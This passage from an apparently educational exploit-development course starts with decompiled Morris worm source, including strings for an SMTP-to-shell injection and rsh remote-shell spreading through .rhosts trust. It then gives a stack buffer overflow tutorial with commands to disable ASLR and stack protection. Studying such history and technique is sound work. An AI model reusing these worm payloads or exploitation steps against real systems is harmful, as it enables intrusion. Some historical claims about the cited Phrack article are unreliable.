s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
	return;
/* Make a socket to the localhost, using a link-time specific port */
bzero(&sin, sizeof(sin));		/* 16 */
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(XS("127.0.0.1")); /* <other_fd+4> */
sin.sin_port = 0x00005b3d;			/* ??? */
if (connect(s, &sin, sizeof(sin)) < 0) {
	close(s);
} else {
	l8 = MAGIC_2;			/* Magic number??? */
	if (write(s, &l8, sizeof(l8)) != sizeof(l8)) {
	 close(s);
	 return;
	}
	l8 = 0;
	if (xread(s, &l8, sizeof(l8), 5*60) != sizeof(l8)) {
	 close(s);
	 return;
	}
	if (l8 != MAGIC_1) {
	 close(s);
	 return;
	}
	
	l12 = random()/8;
	if (write(s, &l12, sizeof(l12)) != sizeof(l12)) {
	 close(s);
	 return;
	}
	
	if (xread(s, &l16, sizeof(l16), 10) != sizeof(l16)) {
	 close(s);
	 return;
	}
	
	if (!((l12+l16) % 2))
	 pleasequit++;
	close(s);
}
sleep(5);
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
	return;
/* Set the socket so that the address may be reused */
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof(optval));
if (bind(s, &sin, sizeof(sin)) < 0) {
	close(s);
	return;
}
listen(s, 10);
other_fd = s;
return;
}
​
/* Sleep, waiting for another worm to contact me. */
other_sleep(how_long)				/* 0x5a38 */
{
int nfds, readmask;
long time1, time2;
struct timeval timeout;
if (other_fd < 0) {
	if (how_long != 0)
	 sleep(how_long);
	return;
}
/* Check once again.. */
do {
	if (other_fd < 0)
	 return;
	readmask = 1 << other_fd;
	if (how_long < 0)
	 how_long = 0;
	
	timeout.tv_sec = how_long;
	timeout.tv_usec = 0;
	
	if (how_long != 0)
	 time(&time1);
	nfds = select(other_fd+1, &readmask, 0, 0, &timeout);
	if (nfds < 0)
	 sleep(1);
	if (readmask != 0)
	 answer_other();
	if (how_long != 0) {
	 time(&time2);
	 how_long -= time2 - time1;
	}
} while (how_long > 0);
return;
}
​
static answer_other()				/* 0x5b14 */
{
int ns, addrlen, magic_holder, magic1, magic2;
struct sockaddr_in sin;			/* 16 bytes */
addrlen = sizeof(sin);
ns = accept(other_fd, &sin, &addrlen);
if (ns < 0)
	return;					/* 620 */
magic_holder = MAGIC_1;
if (write(ns, &magic_holder, sizeof(magic_holder)) != sizeof(magic_holder)
) {
	close(ns);
	return;
}
if (xread(ns, &magic_holder, sizeof(magic_holder), 10) != sizeof(magic_holder)) {
	close(ns);
	return;
}
if (magic_holder != MAGIC_2) {
	close(ns);
	return;
}
magic1 = random() / 8;
if (write(ns, &magic1, sizeof(magic1)) != sizeof(magic1)) {
	close(ns);
	return;
}
if (xread(ns, &magic2, sizeof(magic2), 10) != sizeof(magic2)) {
	close(ns);
	return;
}
close(ns);
if (sin.sin_addr.s_addr != inet_addr(XS("127.0.0.1")))
	return;
if (((magic1+magic2) % 2) != 0) {
	close(other_fd);
	other_fd = -1;
	pleasequit++;
}
return;
}
​
/* A timeout-based read. */
xread(fd, buf, length, time)			/* 0x5ca8 */
int fd, time;
char *buf;
unsigned long length;
{
int i, cc, readmask;
struct timeval timeout;
int nfds;
long time1, time2;
for (i = 0; i < length; i++) { 		/* 150 */
	readmask = 1 << fd;
	timeout.tv_sec = time;
	timeout.tv_usec = 0;
	if (select(fd+1, &readmask, 0, 0, &timeout) < 0)
	 return 0;				/* 156 */
	if (readmask == 0)
	 return 0;
	if (read(fd, &buf[i], 1) != 1)
	 return 0;
}
return i;
}
​
​
/* These are some of the strings that are encyphed in the binary. The
* person that wrote the program probably used the Berkeley 'xstr' program
* to extract and encypher the strings.
*/
#ifdef notdef
char environ[50] = "";
char *sh = "sh";
char *env52 = "sh";			/* 0x20034, <environ+52> */
char *env55 = "-p";
char *env58 = "l1.c";
char *env63 = "sh";
char *env66 = "/tmp/.dump";
char *env77 = "128.32.137.13";
char *env91 = "127.0.0.1";
char *env102 = "/usr/ucb/netstat -r -n";	/* 0x20066 */
char *env125 = "r";
char *env127 = "%s%s";
#endif /* notdef*/
/*
char *text =
"default
0.0.0.0
127.0.0.1
exec /bin/sh
l1.c
PATH=/bin:/usr/bin:/usr/ucb
cd /usr/tmp
x%d.c
echo gorch49;sed '/int zz;/q' > %s;echo gorch50
gorch49
int zz;
gorch50
cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE
DONE
x%d,%s
PATH=/bin:/usr/bin:/usr/ucb
rm -f sh
if [ -f sh ]
then
P=x%d
else
P=sh
cc -o $P %s
./$P -p $$
rm -f $P
rm -f %s $P
l1.c
cd /usr/tmp
x%d.c
cat > %s <<'EOF'
cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c
/usr/ucb/rsh
/usr/bin/rsh
/bin/rsh
/bin/echo %s
debug
mail from:</dev/null>
rcpt to:<"| sed '1,/^$/d' | /bin/sh ; exit 0">
data
quit
quit
exec /usr/ucb/rsh %s -l %s 'exec /bin/sh'
/bin/sh
/bin/sh
127.0.0.1
127.0.0.1
/etc/hosts.equiv
%.100s
/.rhosts
%.200s/.forward
%.20s%.20s
%[^ ,]
%*s %[^ ,]s
%.200s/.forward
%.200s/.rhosts
%s%s
/usr/dict/words";
*/
​
/*
* Local variables:
* compile-command: "cc -S hs.c"
* comment-column: 48
* End:
*/
​
Back to the basics
Now that we understand how an exploit is created, and how a worm works. And also, what an attacker can do with it. Let’s go a bit further in time. Did you ever read the famous Phrack e-zine?
Specifically, there is an old article that we want to point you in, and it’s called “Smashing the stack, for fun and profit”.
Reference to this article: http://phrack.org/issues/60/6.html​
Actually, this article was a step-stone in the history of exploit development. This paper showed us how to create and debug exploits for x86 platforms from scratch, by abusing buffer overflows vulnerabilities and also how to execute our shellcodes/payloads by doing ROP ( Return Oriented Programming ) technics against the LIBC.
Following this article, we will also cover the basics. But Smashing the stack is a recommended read before getting deeper into this course. And it’s also complementary to this training.
​
Let’s begin, we would like to start with a simple overflow:
‌Now is the moment, open Exploit Pack!
For this example you will need a Linux box, it could be a Virtual Machine of course, and you can use any distro but it will be easier for you if you manage to get an old version of Ubuntu like 6.06. Because that one has already these protections turned off.
Navigate in Exploit Pack to the Linux modules and select “Exploit-Tutorial”. After you click on it, the code of this exercise will appear on the Code side, ( right side ) of the screen.
This is a Python script and you can edit and save it directly from the Exploit Pack interface.
In the commented section, you can see the code that we will use for this Buffer Overflow. Uncomment it or just copy and paste the code we have on this document:
#include
<stdio.h>
#include
<string.h>
int main(int argc, char** argv) { char buffer[100]; strcpy(buffer, argv[1]); // Vulnerable function! return 0; }
As the exploit says: Before compiling this code using GCC, you have to disable some protections. First, in order to disable ASLR ( Address Space Layout Randomization ) type the following: sudo bash -c ‘echo 0 > /proc/sys/kernel/randomize_va_space’
But, you may ask. What is ASLR?.. Well, here is the concept of it:
Address space layout randomization (ASLR) is a computer security technique involved in protection from buffer overflow attacks. In order to prevent an attacker from reliably jumping to, for example, a particular exploited function in memory, ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap and libraries.
Basically, we are going to use fixed memory addresses in order to control the EIP, if we have ASLR turned on, if we try to jump to our stack using a fixed address, it will fail because the stack has changed.
Then, what we have to do is to disable Stack Protector, so we can not only Jump to a fixed stack position but also execute the code of our Payload when we are there.
How!? When you compile your C code, do it like this:
$ gcc overflow.c -o overflow -fno-stack-protector -z execstack
Where -fno-stack-protector disable canaries checks Pro Police and -z execstack allows execution from the Stack.
Canaries or canary words are known values that are placed between a buffer and control data on the stack to monitor buffer overflows. When the buffer overflows, the first data to be corrupted will usually be the canary, and a failed verification of the canary data is, therefore, an alert of an overflow, which can then be handled, for example, by invalidating the corrupted data. The terminology is a reference to the historic practice of using canaries in coal mines, since they would be affected by toxic gases earlier than the miners, thus providing a biological warning system. Canaries are alternately known as cookies, which is meant to evoke the image of a "broken cookie" when the value is corrupted. There are three types of canaries in use: terminator, random, and random XOR. Current versions of StackGuard support all three, while ProPolice supports terminator and random canaries.
​
This is great, now we understand the basics about Stack Protectors, and how to disable those protections to run our custom program in order to overflow it and jump to the stack.
 
You should now have a solid understanding of what happens when a function is called ( In our example, strcpy ) and how it interacts with the stack. 
Now we are going to see what happens when we stuff too much data into a buffer. Once you have developed an understanding of what happens when a buffer is overflowed, we can move into more exciting material, namely exploiting a buffer and taking control of execution. 
Compile the code and run the program, then enter some user input to be fed into the buffer. For the first run, simply enter 240 A’s.
The program returns as expected and everything works fine. Now let’s put in 280 characters, which will overflow the buffer and start to write over things stored on the stack.
Note: Use python to get the number of characters you want:
$ python -c ‘print “A”*280’ and press Enter. So after this run, we got a segmentation fault as expected, but why? Let’s take an in-deep look using GDB
First, we start GDB like this: gdb ./overflow ← Where overflow is the name of the compiler C program. (gdb) disas main()
Here we can see the call instructions for strcpy(). Add a breakpoint to see what happens: (gdb) break *0x80000000 ← Where you have to replace it for the memory address that corresponds to where is StrCpy() on your stack.
Now run the program, using the “run” command and it will go up to our first breakpoint.
If we take a look at the stack now, after we go through Strcpy(), with this command: x/20x $esp we can see that our string 0x41414141 is all over the place. ( 41 is the equivalent of “A” in hexadecimal ).
And if we continue forward, using the command next we can see that the return pointer goes to 0x41414141 in ?? () This is because we are executing code at an address that was specified in our string. After overflowing the array the result is overwriting other items on the stack.
We filled up the array with A’s and then kept it ongoing. We wrote the stored address of EBP, which is now a dword containing a hexadecimal representation of AAAA. More importantly, we wrote over RET with another dword of AAAA.
When the function exited, it read the value stored in RET, which is now 0x41414141, the hexadecimal equivalent of AAAA, and attempted to jump to this address. This address is not a valid address or is in protected address space, and the program terminated with a segmentation fault.

Controlling the Instruction Pointer
We have now successfully overflowed a buffer, overwritten EBP and RET, and therefore caused our overflowed value to be loaded into EIP. All these actions ended up crashing the program. While this overflow can be useful in creating a denial of service, the program that you’re going to crash should be important enough that someone would care if it were not available. In our case, it’s not, for obvious reasons.
We have to move on to controlling the path of execution or basically, controlling what gets loaded into EIP, the instruction pointer.
VBS Agent Wizard
Exploit Development II
Last updated 3 months ago